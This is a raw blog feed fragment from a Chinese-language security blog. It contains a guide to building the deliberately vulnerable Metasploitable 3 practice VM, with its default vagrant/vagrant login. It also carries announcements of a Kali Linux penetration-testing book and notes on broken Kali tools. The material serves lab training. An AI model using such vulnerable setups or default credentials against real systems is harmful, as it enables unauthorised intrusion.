&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
二、&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;Powershell版本至少3.0&lt;/span&gt;&lt;/b&gt;：&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
筆者是在Windows 7上建置，Win7原本的Powershell版本只支援2.0 ，必須先升級到3.0才可順利執行建置程序。&lt;br /&gt;
開啟Powershell後，可先執行「 &lt;span style=&quot;color: #351c75;&quot;&gt;&lt;b&gt;$psversiontable&lt;/b&gt;&lt;/span&gt;」查看目前支援的版本，若版本未達3.0，可至&lt;br /&gt;
&lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=34595&quot;&gt;https://www.microsoft.com/en-us/download/details.aspx?id=34595&lt;/a&gt;下載並安裝 &lt;span style=&quot;color: #990000;&quot;&gt;Windows6.1-KB2506143-x64.msu&lt;/span&gt;（或 &lt;span style=&quot;color: #990000;&quot;&gt;Windows6.1-KB2506143-x86.msu&lt;/span&gt;）&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
三、搞定Powershell後，接著&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;安裝VirtualBox&lt;/b&gt;&lt;/span&gt;，但&lt;b&gt;建置工具vagrant目前對VirtualBox的支援只到5.2.X版&lt;/b&gt;，若電腦是安裝VirtualBox 6.x版，vagrant無法順利執行。筆者是安裝VirutalBox 5.2.34及其擴充套件，VirtuaBox安裝好之後，請關閉VirtuaBox管理界面。&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
四、&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;安裝vagrant&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
到&lt;a href=&quot;https://www.vagrantup.com/docs/installation/&quot;&gt;https://www.vagrantup.com/docs/installation/&lt;/a&gt;下載vagrant安裝檔（vagrant_2.2.4_x86_64.msi），vagrant安裝後會自動將「安裝路徑\bin」（例如D:\HashiCorp\Vagrant\bin）加到PATH環境變數。&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
五、&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;安裝Packer&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
到 &lt;a href=&quot;https://www.packer.io/intro/getting-started/install.html&quot;&gt;https://www.packer.io/intro/getting-started/install.html&lt;/a&gt;下載packer_1.5.1_windows_amd64.zip，這壓縮檔裡只有一支packer.exe，將它壓縮到vagrant安裝路徑下的bin目錄裡，就樣就不用特別為packer設定PATH環境變數。&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
六、啟動powershell，然後執行：&lt;/div&gt;
&lt;div style=&quot;background-color: #000066; color: yellow; line-height: 140%; padding: 4px;&quot;&gt;
&lt;br /&gt;
d:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: lime;&quot;&gt; #筆者在 D: 槽操作，也可選擇其他有足夠空間(65GB)的磁碟&lt;/span&gt;&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;vagrant plugin install vagrant-reload         &lt;span style=&quot;color: lime;&quot;&gt;#安裝vagrant的插件&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mkdir metasploitable3-workspace               &lt;span style=&quot;color: lime;&quot;&gt;#建立工作目錄&lt;/span&gt;
cd metasploitable3-workspace                  &lt;span style=&quot;color: lime;&quot;&gt;#切換到工作錄中&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Invoke-WebRequest -Uri &quot;https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile&quot; -OutFile &quot;Vagrantfile&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: lime;&quot;&gt;#下載所需的組態檔&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
七、接在步驟六之後，執行下列指令即可建立metasploitable 3虛擬機。&lt;/div&gt;
&lt;div style=&quot;background-color: #000066; color: yellow; line-height: 140%; padding: 4px;&quot;&gt;
vagrant up ub1404&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: lime;&quot;&gt;##建立ubuntu版的metasploitable 3&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;##&amp;nbsp; 或者&lt;/span&gt;&lt;br /&gt;
vagrant up win2k8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: lime;&quot;&gt;##建立win2008版的metasploitable 3&lt;/span&gt;&lt;/div&gt;
執行vagrant up win2k8或&lt;b&gt;vagrant up ub1404&lt;/b&gt;之後是漫長的等待，請保持耐心！&lt;br /&gt;
&lt;div style=&quot;background-color: #993333; border: #aa0000 1px solid; color: yellow; font-size: 11pt; line-height: 120%; padding: 4px;&quot;&gt;
&lt;b&gt;註：&lt;/b&gt;&lt;br /&gt;
　vagrant up ub1404 會從網路下載ubunt所需的.iso檔，大概要花2至3小時&lt;br /&gt;
　vagrant up win2k8 會從網路下載win2k8所需的.iso檔，依照下載速度，大概要花5至6小時&lt;br /&gt;
(實際時間視網路狀況而定，筆者在建立 win2k8時，曾因網路不穩而中斷)&lt;/div&gt;
最後看到&lt;br /&gt;
&lt;div style=&quot;background-color: #000066; color: white; line-height: 140%; padding: 4px;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ub1404: This is not an error message; everything may continue to work properly, in which case you may ignore this message.&lt;br /&gt;
==&amp;lt; ub1404: Setting hostname...&lt;br /&gt;
==&amp;lt; ub1404: Configuring and enabling network interfaces...
&lt;/div&gt;
即表示ubuntu版的metasploitable 3建置完成，此時會看到VirtualBox被自動啟動「Metasploitable3-ub1404」虛擬機。&lt;br /&gt;
若執&lt;b&gt; vagrant up win2k8&lt;/b&gt;，看到下列訊息，即表示Win2K8的Metasploitable 3建置完成：&lt;br /&gt;
&lt;div style=&quot;background-color: #000066; color: white; line-height: 140%; padding: 4px;&quot;&gt;
==&amp;gt; win2k8: Running provisioner: shell...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; win2k8: Running: inline PowerShell script&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; win2k8: CMDKEY: Credential added successfully.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; win2k8: System error 67 has occurred.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; win2k8: The network name cannot be found.&lt;br /&gt;
==&amp;gt; win2k8: Running provisioner: shell...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; win2k8: Running: inline PowerShell script&lt;br /&gt;
PS D:\metasploitable3-workspace&amp;gt;&lt;/div&gt;
&lt;div style=&quot;margin-top: 1em;&quot;&gt;
上述兩部VirtualBox虛擬機，若想移植到VMWare上，可由VirtualBox的「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;檔案-&amp;gt; 匯出應用裝置&lt;/b&gt;&lt;/span&gt;」，匯出成「&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;*.ova&lt;/b&gt;&lt;/span&gt;」，再由VMWare匯入即可產生VMWare虛擬機！&lt;/div&gt;
&lt;div style=&quot;margin-top: 1em;&quot;&gt;
&amp;nbsp;不論 ubuntu或Win2K8，登入帳密皆為&amp;nbsp; &lt;span style=&quot;color: blue; font-size: 1.5em;&quot;&gt;&lt;b&gt;vagrant&lt;/b&gt;&lt;/span&gt;／&lt;span style=&quot;color: #990000; font-size: 1.5em;&quot;&gt;&lt;b&gt;vagrant&lt;/b&gt;&lt;/span&gt;。&lt;/div&gt;
&lt;div style=&quot;background-color: #993333; border: #aa0000 1px solid; color: yellow; font-size: 11pt; line-height: 160%; padding: 4px 4px 4px 2em; text-indent: -2em;margin-top:1em;&quot;&gt;
註：若不打算自己動手做，筆者在 &lt;b&gt;&lt;a href=&quot;https://drive.google.com/open?id=1UgI6RR2YOIV1NvqDsAxYz19-DpQOPaJi&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;https://drive.google.com/open?id=1UgI6RR2YOIV1NvqDsAxYz19-DpQOPaJi&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&amp;nbsp; 提供 Ubuntu的metasploitable 3的OVA檔。&lt;br /&gt;
至於&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;Win2K8&lt;/b&gt;&lt;/span&gt;的&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;metasploitable 3&lt;/b&gt;&lt;/span&gt;因涉及作業系統版權問題，不方便提供！ &lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/3724288630028012220/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2020/01/metasploitable-3.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/3724288630028012220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/3724288630028012220'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2020/01/metasploitable-3.html' title='如何建置metasploitable 3虛擬機'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-3710090534264556405</id><published>2019-12-15T20:48:00.001+08:00</published><updated>2020-02-15T16:26:23.423+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>新作「Kali Linux滲透測試工具 第３版」已於2019/12/25上市</title><content type='html'>&lt;div style=&quot;border: #ff3399 4px solid; font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl1J6UrwFmyDpxQjBTRijskXR5ueqIdrwSC6cAiFrqR5wY7cyOBEkiTWxy7Tlyc06aSbVyk6oeAlFjSz2ajnXWwEM8hy7shSa6nX7RHnkrPeaRVrHCK0gkh0NA8wgdHOjapZM9DFObeo8B/s1600/ACN035700.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;650&quot; data-original-width=&quot;480&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl1J6UrwFmyDpxQjBTRijskXR5ueqIdrwSC6cAiFrqR5wY7cyOBEkiTWxy7Tlyc06aSbVyk6oeAlFjSz2ajnXWwEM8hy7shSa6nX7RHnkrPeaRVrHCK0gkh0NA8wgdHOjapZM9DFObeo8B/s320/ACN035700.jpg&quot; width=&quot;236&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
筆者在2015年11月配合Kali由1.x改版為2.0，也改寫「Kali Linux滲透測試工具 第2版」，承蒙各位同好不棄。歷經過4年後，Kali依然維持第2版，但收錄的工具卻改變不少，因此，在2019年5月依據Kali 2019.2版，再次改寫本書內容，在進行初稿校正時，Kali又發布2019.3版，所以本書的內容是融合Kali 2019.2及2019.3。
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
本次改版內容包括：&lt;b&gt;強化暴力破解技法&lt;/b&gt;、&lt;b&gt;修正部分工具在Kali環境無法運行的問題&lt;/b&gt;（包括：ghost phisher、theharvester、huntersearch、clusterd、beef）、&lt;b&gt;改寫metasploit 5用法&lt;/b&gt;、&lt;b&gt;增加藍牙滲透測試專章&lt;/b&gt;、&lt;b&gt;更多的Wifi工具&lt;/b&gt;及&lt;b&gt;一套IPv6工具組&lt;/b&gt;，當然也&lt;span style=&quot;color: #274e13;&quot;&gt;取消部分罕用的內容&lt;/span&gt;。不可諱言，前一版的內容也有一大部分被保留下來，畢竟部分工具雖然改版，但用法並未改變。 
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
另一項改版重點是：&lt;b&gt;Kismet&lt;/b&gt;及&lt;b&gt;recon-ng&lt;/b&gt;，這兩套工具的前、後版本，在操作上有很大差異，本書同時介紹這兩套工具前、後版本的差異及使用說明。&lt;/div&gt;
本書在下列書局有售：&lt;br /&gt;
&lt;a href=&quot;http://www.gotop.com.tw/waweb2004/main/WebTL.aspx?ISBN=9789865023584&quot; style=&quot;padding-left: 4em;&quot; target=&quot;_blank&quot;&gt;天瓏圖書&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.books.com.tw/products/0010843942&quot; style=&quot;padding-left: 4em;&quot; target=&quot;_blank&quot;&gt;博客來&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.kingstone.com.tw/basic/2014713591791?zone=book&amp;amp;lid=book_class1_newbook1_nnnn&quot; style=&quot;padding-left: 4em;&quot; target=&quot;_blank&quot;&gt;金石堂&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.eslite.com/product.aspx?pgid=1001113692815503&amp;amp;kw=%e9%99%b3%e6%98%8e%e7%85%a7&amp;amp;pi=0&quot; style=&quot;padding-left: 4em;&quot; target=&quot;_blank&quot;&gt;誠品&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;border: #00cc00 2px solid; margin: 3px; text-indent: 2em; text-indent: 2em;&quot;&gt;
&lt;span style=&quot;color: #b45f06;&quot;&gt;&lt;u&gt;「Kali Linux滲透測試工具」並非入門書&lt;/u&gt;&lt;/span&gt;，打算進入滲透測試領域的新手，建議先從筆者另一本著作「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;網站滲透測試實務入門 第二版&lt;/b&gt;&lt;/span&gt;」切入，這是一本以Web為滲透對象的入門書籍。
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4yZEtMCuhCAnXx3wpYUCmQ4QXDRb7vJXd5x7kJm5uNDO4Cy5pOJ1h0lXGdB6KsC41nfGeaQs7nWbpTpVonq12uyCb_Nv_Y5QuNzO4d62XcMC_WFGOykBXTkNAEYPClRhpCkzBTxjxT4AT/s1600/ACN034900.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;650&quot; data-original-width=&quot;480&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4yZEtMCuhCAnXx3wpYUCmQ4QXDRb7vJXd5x7kJm5uNDO4Cy5pOJ1h0lXGdB6KsC41nfGeaQs7nWbpTpVonq12uyCb_Nv_Y5QuNzO4d62XcMC_WFGOykBXTkNAEYPClRhpCkzBTxjxT4AT/s320/ACN034900.jpg&quot; width=&quot;236&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;border: #0066cc 2px solid; margin: 3px; text-indent: 2em; text-indent: 2em;&quot;&gt;
如果對nmap有興趣，想要更深入應用nmap掃描技巧及NSE腳本功能，可以參考「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;資安專家的nmap與NSE網路診斷與掃描技巧大公開&lt;/b&gt;&lt;/span&gt;」這本nmap應用專書。&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgheAviSvvH-ujFQVfXvH2LmhCuvi4-Nd8kQYmRMOKByuuAIg12tXR1PAm6olW2MNfit-zJdw_q0n6XTLQ04MVAMSFhqqPfTmZqE2ijglYWK78jx8Z7zN3xnBBA17KY9314BBtQIc9CG9_k/s1600/%25E6%259B%25B8%25E5%25B0%2581%25E9%259D%25A2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;650&quot; data-original-width=&quot;480&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgheAviSvvH-ujFQVfXvH2LmhCuvi4-Nd8kQYmRMOKByuuAIg12tXR1PAm6olW2MNfit-zJdw_q0n6XTLQ04MVAMSFhqqPfTmZqE2ijglYWK78jx8Z7zN3xnBBA17KY9314BBtQIc9CG9_k/s320/%25E6%259B%25B8%25E5%25B0%2581%25E9%259D%25A2.jpg&quot; width=&quot;236&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;border: #ff9900 2px solid; margin: 3px; text-indent: 2em; text-indent: 2em;&quot;&gt;
若讀者利用Metasploitable做為自我練習環境，也可以參考「&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;Metasploitable｜白帽駭客新兵訓練營(電子書)&lt;/b&gt;&lt;/span&gt;」，裡面介紹諸多Metasploitable 2裡的漏洞之攻擊方式。&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3OvXbqeAnXbZQHDwQyCD79r7n10DhMXSehrq6Y2nrQTDBJBkh68-fohbEQzgM8u0WrWk4GSJbCeHQGW8pfvk-BFjQJgMbXg5q_NGJCo-0OnhUAZ6HYrb6uFUvYWd59IJoKipPqYOtMsHL/s1600/Metasploitable%25E7%2599%25BD%25E5%25B8%25BD%25E9%25A7%25AD%25E5%25AE%25A2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;564&quot; data-original-width=&quot;398&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3OvXbqeAnXbZQHDwQyCD79r7n10DhMXSehrq6Y2nrQTDBJBkh68-fohbEQzgM8u0WrWk4GSJbCeHQGW8pfvk-BFjQJgMbXg5q_NGJCo-0OnhUAZ6HYrb6uFUvYWd59IJoKipPqYOtMsHL/s320/Metasploitable%25E7%2599%25BD%25E5%25B8%25BD%25E9%25A7%25AD%25E5%25AE%25A2.png&quot; width=&quot;225&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/3710090534264556405/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2019/12/kali-linux-20191225.html#comment-form' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/3710090534264556405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/3710090534264556405'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2019/12/kali-linux-20191225.html' title='新作「Kali Linux滲透測試工具 第３版」已於2019/12/25上市'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl1J6UrwFmyDpxQjBTRijskXR5ueqIdrwSC6cAiFrqR5wY7cyOBEkiTWxy7Tlyc06aSbVyk6oeAlFjSz2ajnXWwEM8hy7shSa6nX7RHnkrPeaRVrHCK0gkh0NA8wgdHOjapZM9DFObeo8B/s72-c/ACN035700.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-7989859688985051274</id><published>2019-09-29T18:55:00.004+08:00</published><updated>2019-09-29T18:55:51.160+08:00</updated><title type='text'>Kali 2019.3 又害我踩雷</title><content type='html'>&lt;div style=&quot;border: #000000 4px outset; font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 8px;&quot;&gt;
Kali最近更新成2019.3版，稍為試用了一下，它和2019.2版又有些不一樣，目前發現三處差異，相信還會有更多地雷等著：
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; margin-left: 3em; text-indent: -2em;&quot;&gt;
(一)原來置於/usr/share/windows-binaries/的資源，現在改到/usr/share/windows-resources/binaries/。
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; margin-left: 3em; text-indent: -2em;&quot;&gt;
(二)recon-ng由4.9.x升級為5.0.x，4.x版會連功能模組一併安裝，現在卻必須由使用者透過新的marketplace指令自行安裝，而且指令用法也有不少改變，例如之前載入模組是用「load 模組名稱」，現在改成「modules load 模組名稱」，必須要一段調試時間才能適應新的操作模式。
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; margin-left: 3em; text-indent: -2em;&quot;&gt;
(三)原本的dnsmap-bulk.sh，現在更名為dnsmap.bulk（不用再加.sh），難怪一直找不到指令。
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px;&quot;&gt;
雖然這些改變造成不便，但沒辦法，要用人家的工具，就只能順著人家的規則走！害我剛完稿的「Kali Linux滲透測試工具 第三版」又要改寫，恐怕影響出版時間。&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;囧&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/7989859688985051274/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2019/09/kali-20193.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7989859688985051274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7989859688985051274'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2019/09/kali-20193.html' title='Kali 2019.3 又害我踩雷'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-7022838346537605623</id><published>2019-07-27T20:26:00.000+08:00</published><updated>2019-07-28T16:46:44.277+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="生活紀錄"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>許多滲透測試工具在2019年版的Kali上無法正常執行</title><content type='html'>&lt;span style=&quot;font-size: large;&quot;&gt;Kali推出2019.2版，原本好事一椿，結果改版改過頭了，裡頭有幾套重要工具，不是功能殘缺，就是執行時期發生錯誤，更嚴重的是告訴你執行完成，但什麼結果也沒有，為了撰寫「Kali Linux滲透測試工具 第三版」，幾乎變成在Debug。&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;幾組無法正常使用的工具有：&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;theHarvester&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;clusterd&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Ghost Phisher&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;armitage&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Beef 與 msfconsole的整合也失效 &lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;衷心期待作者能夠盡快修正版本!&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;(這篇文章未使用彩色文字及邊框，代表對Kali 2019.2版的哀悼之意) &lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/7022838346537605623/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2019/07/2019kali.html#comment-form' title='4 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7022838346537605623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/7022838346537605623'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2019/07/2019kali.html' title='許多滲透測試工具在2019年版的Kali上無法正常執行'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-3913780960822637160</id><published>2019-06-30T09:02:00.001+08:00</published><updated>2019-06-30T09:02:55.727+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="滲透測試"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><title type='text'>hydry與hydra-gtk的詭異現象</title><content type='html'>&lt;div style=&quot;border: #ff0000 4px outset; font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
&lt;span style=&quot;color: #990000;&quot;&gt;今天(2019/06/30)在實驗時發現&lt;b&gt; hydra-gtk&lt;/b&gt; 和 &lt;b&gt;hydry&lt;/b&gt; 的執行結果竟然不一致。&lt;/span&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
操作&lt;b&gt;hydra-gtk&lt;/b&gt;的選項，在最底下狀態列會顯示對應的hydra命令，在hydra-gtk啟動暴力破解，卻找不到符合的帳密，如圖一所示。&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
